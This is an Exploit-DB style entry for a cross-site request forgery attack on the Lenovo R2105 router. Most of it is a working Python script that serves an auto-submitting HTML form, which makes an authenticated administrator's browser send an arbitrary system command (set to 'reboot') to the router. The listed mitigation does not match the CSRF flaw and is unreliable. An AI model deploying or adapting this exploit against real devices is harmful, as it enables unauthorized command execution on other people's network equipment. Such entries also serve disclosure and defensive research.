Lenovo R2105 Remote Code Execution through CSRF

vendor:

R2105

by:

Nathu Nandwani

8.8

CVSS

HIGH

Remote Code Execution

352

CWE

Product Name: R2105

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 x64

2019

Lenovo R2105 Remote Code Execution through CSRF

This exploit allows an attacker to execute arbitrary code on a Lenovo R2105 router by sending a malicious HTTP request. The administrator who opens the URL should be authenticated.

Mitigation:

Authentication should be enforced for all users who access the router's web interface.

Source

Exploit-DB raw data:

# Exploit Title: Lenovo R2105 Remote Code Execution through CSRF
# Date: 01/14/2019
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Version: 1.0
# Tested on: Windows 10 x64
# Note: The administrator who opens the URL should be authenticated.

import socket
 
server_ip = "0.0.0.0"
server_port = 80 
router_ip = "192.168.11.1"

command = "reboot"
 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((server_ip, server_port))
sock.listen(1)
 
print "Currently listening at " + server_ip + ":" + str(server_port)        
 
client, (client_host, client_port) = sock.accept()
 
print "Client connected: " + client_host + ":" + str(client_port)
print ""
print client.recv(1000)
 
client.send('HTTP/1.0 200 OK\r\n')
client.send('Content-Type: text/html\r\n')
client.send('\r\n')
client.send("""
<html>
    <body>
        <form method="post" id="frmcmd" name="frmSetup" action="http://""" + router_ip + """/goform/SystemCommand">
            <input name="command" value=""" + command + """ type="hidden">
            <input name="SystemCommandSubmit" value="Apply" type="hidden">
        </form>
        <script>
            document.getElementById("frmcmd").submit();
        </script>
    </body>
</html>
""")
 
client.close()
sock.close()